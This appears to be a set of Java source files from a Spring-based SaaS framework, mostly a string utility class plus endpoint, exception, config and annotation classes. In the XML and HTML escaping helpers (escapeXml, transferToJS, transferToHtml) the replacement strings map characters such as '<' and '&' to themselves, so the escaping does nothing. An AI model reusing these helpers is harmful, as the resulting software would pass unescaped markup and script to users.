buf.deleteCharAt(0);
}
return buf.toString();
}
/**
* Tokenize the given String into a String array via a StringTokenizer.
* <p>
* The given delimiters string is supposed to consist of any number of
* delimiter characters. Each of those characters can be used to separate
* tokens. A delimiter is always a single character; for multi-character
* delimiters, consider using <code>delimitedListToStringArray</code>
*
* @param str
* the String to tokenize
* @param delimiters
* the delimiter characters, assembled as String (each of those
* characters is individually considered as delimiter)
* @param trimTokens
* trim the tokens via String's <code>trim</code>
* @param ignoreEmptyTokens
* omit empty tokens from the result array (only applies to
* tokens that are empty after trimming; StringTokenizer will not
* consider subsequent delimiters as token in the first place).
* @return an array of the tokens (<code>null</code> if the input String was
* <code>null</code>)
* @see java.util.StringTokenizer
* @see java.lang.String#trim()
* @see #delimitedListToStringArray
*/
public static String[] tokenizeToStringArray(String str, String delimiters, boolean trimTokens,
boolean ignoreEmptyTokens)
{
if (str == null)
{
return null;
}
StringTokenizer st = new StringTokenizer(str, delimiters);
List tokens = new ArrayList();
while (st.hasMoreTokens())
{
String token = st.nextToken();
if (trimTokens)
{
token = token.trim();
}
if (!ignoreEmptyTokens || token.length() > 0)
{
tokens.add(token);
}
}
return toStringArray(tokens);
}
/**
* Turn given source String array into sorted array.
*
* @param array
* the source array
* @return the sorted array (never <code>null</code>)
*/
public static String[] sortStringArray(String[] array)
{
if (ObjectUtils.isEmpty(array))
{
return new String[0];
}
Arrays.sort(array);
return array;
}
/**
* Copy the given Collection into a String array. The Collection must
* contain String elements only.
*
* @param collection
* the Collection to copy
* @return the String array (<code>null</code> if the passed-in Collection
* was <code>null</code>)
*/
public static String[] toStringArray(Collection collection)
{
if (collection == null)
{
return null;
}
return (String[]) collection.toArray(new String[collection.size()]);
}
/**
* Copy the given Enumeration into a String array. The Enumeration must
* contain String elements only.
*
* @param enumeration
* the Enumeration to copy
* @return the String array (<code>null</code> if the passed-in Enumeration
* was <code>null</code>)
*/
public static String[] toStringArray(Enumeration enumeration)
{
if (enumeration == null)
{
return null;
}
List list = Collections.list(enumeration);
return (String[]) list.toArray(new String[list.size()]);
}
/**
* bind - replacement marker in tmpl is <!--#KEY#--> where 'KEY' is
* the key in the replacement Hashtable<br>
* if object in hashtable is not String, toString() is called
*
* @param tmpl
* template file
* @param replacement
* the replacement hashtable for KEY value
* @return String of html of the template tmpl
*/
public static String bind(String tmpl, Map replacement)
{
return bind(tmpl, replacement, false, "<!--#", "#-->");
}
public static String bindKeepUnbindedTag(String tmpl, Map replacement)
{
return bind(tmpl, replacement, true, "<!--#", "#-->");
}
public static String bind(String tmpl, Map replacement, boolean keepUnbindedTag, String begTag, String endTag)
{
if (isEmpty(tmpl) || replacement == null || replacement.size() == 0)
return tmpl;
StringBuffer outStrBuf = new StringBuffer();
int idxfrom = tmpl.indexOf(begTag, 0);
boolean goReplace = (idxfrom != -1);
// no begin marker found
if (!goReplace)
return tmpl;
outStrBuf.append(tmpl.substring(0, idxfrom));
String key = null;
String val = null;
Object tmp_obj = null;
while (goReplace)
{
int idxto = tmpl.indexOf(endTag, idxfrom);
int idxto_length = endTag.length();
if (idxto != -1)
{
key = (String) tmpl.substring(idxfrom + 5, idxto);
val = keepUnbindedTag ? null : ""; // set val to null if you
// want to keep <!--#var#-->
// tag in html
tmp_obj = replacement.get((String) key);
if (tmp_obj instanceof String)
{
val = (String) tmp_obj;
}
else
{
if (tmp_obj != null)
val = tmp_obj.toString();
} // if
if (val != null)
outStrBuf.append(val);
else
{
outStrBuf.append(begTag);
outStrBuf.append(key);
outStrBuf.append(endTag);
}
idxfrom = tmpl.indexOf(begTag, idxto);
if (idxfrom != -1)
{
outStrBuf.append(tmpl.substring(idxto + idxto_length, idxfrom));
}
else
{
outStrBuf.append(tmpl.substring(idxto + idxto_length, tmpl.length()));
goReplace = false;
}
}
else
{
outStrBuf.append(tmpl.substring(idxfrom, tmpl.length()));
goReplace = false;
}
}
return outStrBuf.toString();
}
/*
* encode a string as new encoding
*/
public static String encode(String s, String encoding)
{
if (s == null)
{
return null;
}
int len = s.length();
if (len == 0)
{
return "";
}
try
{
byte[] buf = new byte[len];
for (int i = 0; i < len; i++)
{
buf[i] = (byte) s.charAt(i);
}
return new String(buf, encoding);
}
catch (Exception e)
{
e.printStackTrace();
System.err.println("encoding : " + encoding);
return s;
}
}
/**
* 1.extract all valid urls to format required hyperlink <A> w/-
* target=_blank. 2.format email 3.replace all '\n' to '<br>
* '
*
* @param str
* @return
*/
public static String rewriteString(String str)
{
if (isBlank(str))
return str;
StringBuffer sb = new StringBuffer();
List pos = new ArrayList();
List values = new ArrayList();
Pattern regexEmail = Pattern.compile("(\\w+([-+.]\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*)?");
Pattern regexUrl1 = Pattern
.compile("(href=('|\")?)?((http[s]?|ftp)+://)?(@)?(www.)?([\\w-]+\\.)+[\\w-]+(/[\\w- ./?%&=]*)?");
Matcher matcherMail = regexEmail.matcher(str);
while (matcherMail.find())
{ //replace mail
if (isNotBlank(matcherMail.group(0)))
{
pos.add(matcherMail.start());
pos.add(matcherMail.end());
values.add("<a href=\"mailto:" + matcherMail.group(0) + "\">" + matcherMail.group(0) + "</a>");
}
}
for (int i = 0; i < values.size(); i++)
{
if (i == 0)
{
sb.append(str.substring(0, ((Integer) pos.get(0)).intValue()));
sb.append(values.get(0));
}
else
{
sb.append(str.substring(((Integer) pos.get(i * 2 - 1)).intValue(),
((Integer) pos.get(i * 2)).intValue()));
sb.append(values.get(i));
}
if (i + 1 == values.size())
sb.append(str.substring(((Integer) pos.get(i * 2 + 1)).intValue(), str.length()));
}
//for url
if (isNotBlank(sb.toString()))
str = sb.toString();
Matcher matcherUrl1 = regexUrl1.matcher(str);
pos = new ArrayList();
values = new ArrayList();
sb = new StringBuffer();
while (matcherUrl1.find())
{ //replace url
if (isNotBlank(matcherUrl1.group(0)) && isBlank(matcherUrl1.group(1)) && isBlank(matcherUrl1.group(5)))
{ //check if 'href=' is existing and if '@' is existing
pos.add(matcherUrl1.start());
pos.add(matcherUrl1.end());
if (isNotBlank(matcherUrl1.group(3)))
{
//check if 'http://' is exist
values.add("<a href=\"" + matcherUrl1.group(0) + "\" target=\"_blank\">" + matcherUrl1.group(0)
+ "</a>");
}
else
{
if (isNotBlank(matcherUrl1.group(6)))
{
values.add("<a href=\"http://" + matcherUrl1.group(0) + "\" target=\"_blank\">"
+ matcherUrl1.group(0) + "</a>");
}
else
{
values.add(matcherUrl1.group(0)); //do nothing
}
}
}
}
for (int i = 0; i < values.size(); i++)
{
if (i == 0)
{
sb.append(str.substring(0, ((Integer) pos.get(0)).intValue()));
sb.append(values.get(0));
}
else
{
sb.append(str.substring(((Integer) pos.get(i * 2 - 1)).intValue(),
((Integer) pos.get(i * 2)).intValue()));
sb.append(values.get(i));
}
if (i + 1 == values.size())
sb.append(str.substring(((Integer) pos.get(i * 2 + 1)).intValue(), str.length()));
}
if (isNotBlank(sb.toString()))
return replace(sb.toString(), "\n", "<br>");
return replace(str, "\n", "<br>");
}
final static String EMAIL = "^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.(?:[A-Z]{2}|com|org|net|gov|mil|biz|info|mobi|name|aero|jobs|museum)$";
/**
* check if the string a valid email
*
* @param str
* @return
*/
public static boolean checkEmail(String str)
{
Pattern regex = Pattern.compile(EMAIL, Pattern.CASE_INSENSITIVE);
Matcher matcherMail = regex.matcher(str);
return matcherMail.matches();
}
/**
* check if the string included html tag
*
* @param str
* @return
*/
public static boolean checkHTML(String str)
{
Pattern regex = Pattern.compile("<.+>");
Matcher matcherMail = regex.matcher(str);
return matcherMail.find();
}
final static String HTML_TAGS = "p|br|hr|b|center|div|h[1-6]{1}|font|table|tr|td|th|span|style|a|img|body|html";
/**
* check if there are any html tags
*
* @param str
* @return
*/
public static boolean checkHTMLTag(String str)
{
if (isBlank(str))
return false;
String reg11 = "<[/]?(" + HTML_TAGS + "){1}\\s*[/]?>{1}";
String reg21 = "<[/]?(" + HTML_TAGS + "){1}\\s+[^<>]*\\s*>{1}";
return Pattern.compile(reg11, Pattern.CASE_INSENSITIVE).matcher(str).find()
|| Pattern.compile(reg21, Pattern.CASE_INSENSITIVE).matcher(str).find();
}
/**
* Replace html tag and multiple space to single space
*
* @param str
* @return
*/
public static String replaceTag(String str)
{
if (isBlank(str))
return str;
String ret = removeStyleCode(str);
String reg11 = "<[/]?(" + HTML_TAGS + "){1}\\s*[/]?>{1}";
String reg12 = "<[/]?(" + HTML_TAGS.toUpperCase() + "){1}\\s*[/]?>{1}";
String reg21 = "<[/]?(" + HTML_TAGS + "){1}\\s+[^<>]*\\s*>{1}";
String reg22 = "<[/]?(" + HTML_TAGS.toUpperCase() + "){1}\\s+[^<>]*\\s*>{1}";
String reg3 = "[\\t\\r\\f\\v]{1,}";
ret = ret.replaceAll(reg11, " ").replaceAll(reg12, " ");
ret = ret.replaceAll(reg21, " ").replaceAll(reg22, " ");
ret = ret.replaceAll(reg3, " ");
return ret;
}
public static String removeStyleCode(String str)
{
String reg = "<style[^<>]*>.*</style>";
String regU = "<STYLE[^<>]*>.*</STYLE>";
return str.replaceAll(reg, "").replaceAll(regU, "");
}
public static String removedMSOfficeTag(String str)
{
if (StringUtils.isBlank(str))
return str;
return str.replaceAll("<!--\\[.+\\]-->", "");
}
final public static String lpad(int num, int length, char chr)
{
String str = String.valueOf(num);
if (str.length() > length)
{
return str.substring(0, length - 1);
}
for (int i = str.length(); i < length; i++)
str = chr + str;
return str;
}
final public static String rpad(int num, int length, char chr)
{
String str = String.valueOf(num);
if (str.length() > length)
{
return str.substring(0, length - 1);
}
for (int i = str.length(); i < length; i++)
str += chr;
return str;
}
/**
* abbreviate the a String for certain limit of word count
*
* @param str
* the String to check, may be null
* @param wordLimit
* the limit of the word count
* @return
*/
public static String abbreviateWords(String str, int wordLimit)
{
if (str == null || str.length() == 0)
{
return str;
}
BreakIterator bi = BreakIterator.getWordInstance();
bi.setText(str);
int wordLimitOffset = bi.next(wordLimit * 2);
return wordLimitOffset != BreakIterator.DONE ? substring(str, 0, wordLimitOffset) : str;
}
/**
* replace all non-alphabetical characters to underscore
*
* @param instr
* - string to examine
* @return - converted string
*/
final public static String underscore(String instr)
{
if (isEmpty(instr))
return trimToNull(instr);
return instr.replaceAll("[^a-zA-Z0-9]+", "_");
}
/**
* check whether these two strings are equal after trim or not
*
* @param s1
* - first string to check
* @param s2
* - second string to check
* @return true if they are same
*/
public static boolean equalsIgnoreSpace(String s1, String s2)
{
if (s1 == null && s2 == null)
return true;
if (s1 == null || s2 == null)
return false;
return s1.trim().equals(s2.trim());
}
/**
* check whether these two strings are equal after trim and ignore case or
* not
*
* @param s1
* - first string to check
* @param s2
* - second string to check
* @return true if they are same
*/
public static boolean equalsIgnoreCaseAndSpace(String s1, String s2)
{
if (s1 == null && s2 == null)
return true;
if (s1 == null || s2 == null)
return false;
return s1.trim().equalsIgnoreCase(s2.trim());
}
/**
* check whether these two characters are equal or not
*
* @param c1
* - first character to check
* @param c2
* - second character to check
* @return true if they are same
*/
public static boolean equals(Character c1, Character c2)
{
if (c1 == null && c2 == null)
return true;
if (c1 == null || c2 == null)
return false;
return c1.charValue() == c2.charValue();
}
/**
* abbreviate the a String for certain limit of char count
*
* @param str
* the String to check, may be null
* @param charLimit
* the limit of the char count
* @return a triming version of the String, which be tailed with " ...", and
* the total char count won't exceed the charLimit
*/
public static String abbreviate(String str, int charLimit)
{
if (charLimit < 4)
{
throw new IllegalArgumentException("Minimum abbreviation width is 4");
}
if (str == null || str.length() == 0)
{
return str;
}
if (charLimit >= str.length())
{
return str;
}
BreakIterator bi = BreakIterator.getWordInstance();
bi.setText(str);
int targetOffset = bi.preceding(charLimit - 4);
String s = substring(str, 0, targetOffset);
return s + (s.charAt(s.length() - 1) == ' ' ? "" : " ") + "...";
//return s.charAt(s.length() - 1) == ' ' ? s + "..." : s + " ...";
}
/**
* cut the incoming string to desired length
*
* @param str
* the String to check, may be null
* @param charLimit
* the limit of the char count
* @return a triming version of the String, which be tailed with " ...", and
* the total char count won't exceed the charLimit
*/
public static String truncate(String str, int len)
{
return truncate(str, len, null);
}
public static String truncate(String str, int len, String tail)
{
if (len >= defaultString(str, "").length())
return str;
BreakIterator bi = BreakIterator.getWordInstance();
bi.setText(str);
if (isEmpty(tail) || tail.length() > len - 1)
return substring(str, 0, bi.preceding(len));
else
{
str = substring(str, 0, bi.preceding(len - tail.length() - 1));
return str + (str.charAt(str.length() - 1) == ' ' ? "" : " ") + tail;
}
}
/**
* convert the incoming string array into a delimited string
*
* @param strary
* - string array to be converted
* @param delimit
* - string delimitor, if omitted, comma is default
* @return - delimited string
*/
public static String toString(String[] strary)
{
return toString(strary, ",");
}
public static String toString(String[] strary, String delimit)
{
// string array is empty
if (strary == null || strary.length == 0)
return null;
// convert to string
StringBuffer sb = new StringBuffer();
for (int i = 0; i < strary.length; i++)
{
String str = trimToNull(strary[i]);
if (isNotEmpty(str))
{
if (sb.length() > 0)
sb.append(delimit);
sb.append(str);
}
}
return sb.toString();
}
public static String patchKeywordSearch(String keyword)
{
if (keyword == null)
return null;
String[] arr = split(keyword, " ");
StringBuffer sb = new StringBuffer();
for (int i = 0; i < arr.length; i++)
{
if (arr[i] == null)
continue;
if (sb.length() > 0)
sb.append(' ');
sb.append(arr.length);
sb.append(arr[i]);
}
return sb.toString();
}
/**
* Check if 2 words are similar
*
* @param word1
* @param word2
* @return
*/
@SuppressWarnings("deprecation")
public static boolean isWordSimilar(String word1, String word2)
{
if (isBlank(word1) && isNotBlank(word2))
{
return false;
}
if (isNotBlank(word1) && isBlank(word2))
{
return false;
}
if (isBlank(word1) && isBlank(word2))
{
return true;
}
if (equalsIgnoreCase(word1, word2))
{
return true;
}
word1 = lowerCase(word1);
word2 = lowerCase(word2);
return getLevenshteinDistance(word1, word2) <= 1;
}
private static final int HIGHEST_SPECIAL = '>';
private static char[][] specialCharactersRepresentation = new char[HIGHEST_SPECIAL + 1][];
static
{
specialCharactersRepresentation['&'] = "&".toCharArray();
specialCharactersRepresentation['<'] = "<".toCharArray();
specialCharactersRepresentation['>'] = ">".toCharArray();
specialCharactersRepresentation['"'] = """.toCharArray();
specialCharactersRepresentation['\''] = "'".toCharArray();
}
/**
* Performs the following substring replacements (to facilitate output to
* XML/HTML pages):
*
* & -> & < -> < > -> > " -> " ' -> '
*
* See also OutSupport.writeEscapedXml().
*/
public static String escapeXml(String buffer)
{
if (isBlank(buffer))
return buffer;
//System.out.print("call excapeXml: "+buffer);
int start = 0;
int length = buffer.length();
char[] arrayBuffer = buffer.toCharArray();
StringBuffer escapedBuffer = null;
for (int i = 0; i < length; i++)
{
char c = arrayBuffer[i];
if (c <= HIGHEST_SPECIAL)
{
char[] escaped = specialCharactersRepresentation[c];
if (escaped != null)
{
// create StringBuffer to hold escaped xml string
if (start == 0)
{
escapedBuffer = new StringBuffer(length + 5);
}
// add unescaped portion
if (start < i)
{
escapedBuffer.append(arrayBuffer, start, i - start);
}
start = i + 1;
// add escaped xml
escapedBuffer.append(escaped);
}
}
}
// no xml escaping was necessary
if (start == 0)
{
return buffer;
}
// add rest of unescaped portion
if (start < length)
{
escapedBuffer.append(arrayBuffer, start, length - start);
}
return escapedBuffer.toString();
}
/**
* format string
*
* @param s
* @return
*/
public static String camelCaps(String s)
{
if (StringUtils.isBlank(s))
return s;
s = s.replaceAll(",(\\w+)", ", $1");
s = s.replaceAll("\n|(\r\n)", " #@!@# ");
String[] a = StringUtils.split(s, ' ');
List l = new ArrayList();
for (int i = 0; i < a.length; i++)
{
String t = a[i];
l.add(Character.toUpperCase(t.charAt(0)) + StringUtils.substring(t, 1).toLowerCase());
}
String rtn = StringUtils.join(l.iterator(), ' ');
rtn = rtn.replaceAll(" #@!@# ", "\n");
return rtn;
}
/**
* Convenience method to convert a CSV string list to a set, with
* predictable-iteration-order.
*
* @param str
* @return
*/
public static Set commaDelimitedListToPredictableSet(String str)
{
Set set = new LinkedHashSet();
String[] tokens = org.springframework.util.StringUtils.commaDelimitedListToStringArray(str);
for (int i = 0; i < tokens.length; i++)
{
set.add(tokens[i]);
}
return set;
}
public static String[] splitWithNull(String src, char chr)
{
if (src == null || src.length() == 0)
return null;
char[] chArr = src.toCharArray();
//StringBuffer sb = new StringBuffer();
Set set = new HashSet();
int size = 1;
int lastMatchIndex = -1;
for (int i = 0; i < chArr.length; i++)
{
if (chArr[i] == chr)
{
if (i - 1 == lastMatchIndex)
{
//sb.append(size-1);
//sb.append(chr);
set.add(size - 1);
}
if (i == chArr.length - 1)
set.add(size);
lastMatchIndex = i;
size++;
}
}
//sb.deleteCharAt(sb.length()-1);
//String[] index = split(sb.toString(), chr);
String[] array = new String[size];
String[] srcArr = split(src, chr);
int idx = 0;
for (int i = 0; i < size; i++)
{
if (set.contains(i))
array[i] = null;
else
{
array[i] = srcArr[idx];
idx++;
}
}
return array;
}
/**
* split a properites string as a map
*
* @param str
* "1\:Mr|2\:Mrs|3\:Ms|4\:Dr"
* @return
*/
public static Map splitPropertiesToPredictableMap(String source)
{
Map map = new LinkedHashMap<String, String>();
if (!isEmpty(source))
{
String[] oneD = split(source, DELIMITER);
if (oneD != null)
{
for (int i = 0; i < oneD.length; i++)
{
String[] twoD = split(oneD[i], ':');
if (twoD != null && twoD.length == 2)
{
map.put(twoD[0], twoD[1]);
}
}
}
}
return map;
}
public static String transferToJS(String source)
{
return source.replaceAll("\n|(\r\n)", "\\\\n").replaceAll("'", "\\\\'").replaceAll("\"", "\\\\\"")
.replaceAll("<script", "<script").replaceAll("<SCRIPT", "<SCRIPT")
.replaceAll("</SCRIPT>", "</SCRIPT>").replaceAll("</script>", "</script>");
}
public static String transferToHtml(String source)
{
return source.replaceAll("\n|(\r\n)", "<br/>").replaceAll("<", "<").replaceAll(">", ">")
.replaceAll("&", "&").replaceAll(" ", " ");
//.replaceAll(""", "\"")
//.replaceAll("'", "\'");
}
public static String replaceAll(String src, String regex, String replacement, boolean caseSensitive)
{
if (!caseSensitive)
return Pattern.compile(regex, Pattern.CASE_INSENSITIVE).matcher(src).replaceAll(replacement);
return src.replaceAll(regex, replacement);
}
/**
* give an email, return its encrypted type. if given <EMAIL> return
* <EMAIL>
*/
public static String encryptEmail(String email)
{
String replaceCode = "";
for (int i = 1; i < email.indexOf('@') - 1; i++)
replaceCode += "*";
email = StringUtil.overlay(email, replaceCode, 1, email.indexOf('@') - 1);
return email;
}
/**
* Convert the array into a delimited string with seperator
*/
public static String join(Object[] array, String seperator)
{
if (array == null)
return null;
StringBuffer result = new StringBuffer();
for (int i = 0; i < array.length; i++)
{
result.append(array[i]);
if (i != array.length - 1)
{
result.append(seperator);
}
}
return result.toString();
}
/**
* Convert the list into a delimited string with seperator
*/
public static String join(List list, String seperator)
{
return join(list.toArray(new Object[0]), seperator);
}
}
<file_sep>/saas-quark/src/main/java/com/zhjs/saas/quark/endpoint/MicroServiceMvcEndpoint.java
package com.zhjs.saas.quark.endpoint;
import java.util.Map;
import org.springframework.boot.actuate.endpoint.mvc.ActuatorMediaTypes;
import org.springframework.boot.actuate.endpoint.mvc.EndpointMvcAdapter;
import org.springframework.boot.actuate.endpoint.mvc.HypermediaDisabled;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import com.zhjs.saas.core.annotation.ApiMapping;
/**
*
* @author: <NAME>
* @since: 2017-12-08
* @modified: 2017-12-08
* @version:
*/
@ConfigurationProperties(prefix = "endpoints.microservice")
public class MicroServiceMvcEndpoint extends EndpointMvcAdapter
{
private final MicroServiceEndpoint delegate;
public MicroServiceMvcEndpoint(MicroServiceEndpoint delegate)
{
super(delegate);
this.delegate = delegate;
}
@ApiMapping(path="/{name:.*}", method=RequestMethod.GET,
produces={ ActuatorMediaTypes.APPLICATION_ACTUATOR_V1_JSON_VALUE,MediaType.APPLICATION_JSON_VALUE })
@ResponseBody
@HypermediaDisabled
public Object get(@PathVariable String name)
{
if (!this.delegate.isEnabled())
{
// Shouldn't happen - MVC endpoint shouldn't be registered when delegate's
// disabled
return getDisabledResponse();
}
Map<String, MicroServiceInfo> infos = this.delegate.invoke();
return (infos == null ? ResponseEntity.notFound().build() : infos);
}
@ApiMapping(path="/{name:.*}", method=RequestMethod.POST,
consumes = { ActuatorMediaTypes.APPLICATION_ACTUATOR_V1_JSON_VALUE,MediaType.APPLICATION_JSON_VALUE },
produces={ ActuatorMediaTypes.APPLICATION_ACTUATOR_V1_JSON_VALUE,MediaType.APPLICATION_JSON_VALUE })
@ResponseBody
@HypermediaDisabled
public Object set(@PathVariable String name, @RequestBody Map<String, String> configuration)
{
if (!this.delegate.isEnabled())
{
// Shouldn't happen - MVC endpoint shouldn't be registered when delegate's
// disabled
return getDisabledResponse();
}
return ResponseEntity.ok().build();
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/exception/ExceptionResponse.java
package com.zhjs.saas.core.exception;
import com.zhjs.saas.core.web.CommonResponse;
/**
*
* @author: <NAME>
* @since: 2017-05-17
* @modified: 2017-05-17
* @version:
*/
public class ExceptionResponse extends CommonResponse
{
private String errorCode;
private String traceID;
public ExceptionResponse()
{
super();
this.success = false;
}
/**
* @return the errorCode
*/
public String getErrorCode()
{
return errorCode;
}
/**
* @param errorCode the errorCode to set
*/
public void setErrorCode(String errorCode)
{
this.errorCode = errorCode;
}
/**
* @return the success
*/
public boolean isSuccess()
{
return false;
}
/**
* it will always be set value to false, even though you try to give a true value.
* @param success the success to set
*/
public void setSuccess(boolean success)
{
this.success = false;
}
public String getTraceID()
{
return traceID;
}
public void setTraceID(String traceID)
{
this.traceID = traceID;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/web/CustomResourceEntityResolver.java
package com.zhjs.saas.core.web;
import java.io.IOException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.core.io.Resource;
import org.springframework.core.io.support.PathMatchingResourcePatternResolver;
import org.xml.sax.EntityResolver;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
/**
*
* @author: <NAME>
* @since: 2017-07-28
* @modified: 2017-07-28
* @version:
*/
public class CustomResourceEntityResolver implements EntityResolver
{
private Logger logger = LoggerFactory.getLogger(getClass());
private static final String DTD_EXTENSION = ".dtd";
public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException
{
logger.trace("Trying to resolve XML entity with public ID [" + publicId + "] and system ID [" + systemId + "]");
if (systemId != null && systemId.endsWith(DTD_EXTENSION))
{
int lastPathSeparator = systemId.lastIndexOf("/");
String dtdFile = systemId.substring(lastPathSeparator + 1);
logger.trace("Trying to locate [" + dtdFile + "] in jar");
try
{
PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();
Resource[] rs = resolver.getResources("classpath*:/**/" + dtdFile);
for (Resource res : rs)
{
InputSource source = new InputSource(res.getInputStream());
source.setPublicId(publicId);
source.setSystemId(systemId);
logger.debug("Found beans DTD [" + systemId + "] in classpath: " + dtdFile);
return source;
}
} catch (IOException ex)
{
logger.debug("Could not resolve beans DTD [" + systemId + "]: not found in class path", ex);
}
}
/*
* PathMatchingResourcePatternResolver pm = new
* PathMatchingResourcePatternResolver(); Resource[] rc =
* pm.getResources(pattern); for (int i = 0; rc != null && i <
* rc.length; i++) { Resource res = rc[i]; URL url = res.getURL();
* log.info("url="+url.toString()); }
*/
return null;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/config/PropertyConfig.java
package com.zhjs.saas.core.config;
/**
*
* @author: <NAME>
* @since: 2017-11-08
* @modified: 2017-11-08
* @version:
*/
public abstract class PropertyConfig
{
/**
* properties holder bean name
*/
public final static String PropertyBeanName = "propertiesHolder";
public final static String DataCenter_ID = "saas.dc.id";
public final static String Worker_ID = "saas.worker.id";
public final static String Auto_CommonConfig_Enable = "saas.auto-common.enable";
public final static String Jpa_DefaultConfig_Enable = "saas.jpa.default-config.enable";
public final static String Logger_Factory = "saas.logger.factory";
public final static String Exception_Global_Trace = "saas.exception.trace.global";
public final static String Exception_Trace_Package = "saas.exception.trace.packages";
public final static String SessionFactory_Enable = "saas.session-factory.enable";
public final static String Fastjson_Enable = "saas.fastjson.enable";
public final static String Fastjson_Filter_Exclude = "saas.fastjson.filter.exclude";
public final static String Global_DateFormat = "saas.global.date-format";
public final static String Global_DateTimeFormat = "saas.global.datetime-format";
public final static String SQL_File_Encoding = "saas.sql.encoding";
public final static String SQL_Path_Prefix = "saas.sql.path.prefix";
public final static String SQL_Comment = "saas.sql.comment";
public final static String Generic_CRUD_Enable = "saas.generic.crud.enable";
public final static String Generic_CRUD_Path = "saas.generic.crud.namespace";
public final static String LoadBalance_All_Enable = "saas.remote.rest-template.loadbalance.enbale-all";
public final static String Remote_Gateway = "saas.remote.api.gateway.url";
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/dao/CustomizeImplicitNamingStrategy.java
package com.zhjs.saas.core.dao;
import org.hibernate.boot.model.naming.Identifier;
import org.hibernate.boot.model.naming.ImplicitBasicColumnNameSource;
import org.springframework.boot.orm.jpa.hibernate.SpringImplicitNamingStrategy;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
/**
*
* @author: <NAME>
* @since: 2017-10-18
* @modified: 2017-10-18
* @version:
*/
public class CustomizeImplicitNamingStrategy extends SpringImplicitNamingStrategy
{
private static final long serialVersionUID = 1L;
private Logger logger = LoggerFactory.getLogger(getClass());
@Override
public Identifier determineBasicColumnName(ImplicitBasicColumnNameSource source) {
// JPA states we should use the following as default:
// "The property or field name"
// aka:
// The unqualified attribute path.
Identifier name = toIdentifier( transformAttributePath( source.getAttributePath() ), source.getBuildingContext() );
logger.debug("ImplicitNamingStrategy / BasicColumnName -> \n\t" + name);
return name;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/config/support/ServiceEnvironment.java
package com.zhjs.saas.core.config.support;
import org.springframework.core.env.StandardEnvironment;
import com.zhjs.saas.core.config.Environment;
/**
*
* @author: <NAME>
* @since: 2017-11-09
* @modified: 2017-11-09
* @version:
*/
public class ServiceEnvironment extends StandardEnvironment implements Environment
{
}
<file_sep>/saas-api-doc/pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>saas-api-doc</artifactId>
<name>${project.artifactId}</name>
<parent>
<groupId>com.zhjs</groupId>
<artifactId>saas-framework</artifactId>
<version>0.0.1-SNAPSHOT</version>
</parent>
<dependencies>
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger2</artifactId>
<version>${swagger2.version}</version>
</dependency>
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger-ui</artifactId>
<version>${swagger2.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-core</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<!-- <dependency>
<groupId>com.github.caspar-chen</groupId>
<artifactId>swagger-ui-layer</artifactId>
<version>${swagger2-ui.version}</version>
</dependency> -->
</dependencies>
</project><file_sep>/saas-core/src/main/java/com/zhjs/saas/core/annotation/CommonQualifier.java
package com.zhjs.saas.core.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Inherited;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.core.annotation.AliasFor;
/**
* This is a annotation same as spring @Qualifier, it is used with @CommonAutowired.
* *
* @author: <NAME>
* @since: 2017-05-18
* @modified: 2017-05-18
* @version:
*/
@Inherited
@Target({ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER, ElementType.TYPE, ElementType.ANNOTATION_TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Qualifier
public @interface CommonQualifier {
@AliasFor(annotation=Qualifier.class, attribute="value")
String value() default "";
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/validator/annotation/Mobile.java
package com.zhjs.saas.core.validator.annotation;
import static java.lang.annotation.ElementType.FIELD;
import static java.lang.annotation.ElementType.METHOD;
import static java.lang.annotation.ElementType.PARAMETER;
import static java.lang.annotation.RetentionPolicy.RUNTIME;
import java.lang.annotation.Documented;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import javax.validation.Constraint;
import javax.validation.Payload;
import javax.validation.ReportAsSingleViolation;
import com.zhjs.saas.core.validator.MobileValidator;
/**
*
* @author: <NAME>
* @since: 2018-05-18
* @modified: 2018-05-18
* @version:
*/
@Documented
@Retention(RUNTIME)
@Target({ FIELD, METHOD, PARAMETER })
@ReportAsSingleViolation
@Constraint(validatedBy=MobileValidator.class)
public @interface Mobile
{
String message() default "{validation.mobile.format.message}";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
<file_sep>/saas-security/src/main/java/com/zhjs/saas/security/annotation/EnableOauthClient.java
package com.zhjs.saas.security.annotation;
import static java.lang.annotation.ElementType.TYPE;
import static java.lang.annotation.RetentionPolicy.RUNTIME;
import java.lang.annotation.Documented;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import org.springframework.boot.autoconfigure.security.oauth2.client.EnableOAuth2Sso;
import org.springframework.context.annotation.Import;
import com.zhjs.saas.security.config.SecurityClientConfig;
/**
*
* @author: <NAME>
* @since: 2017-12-11
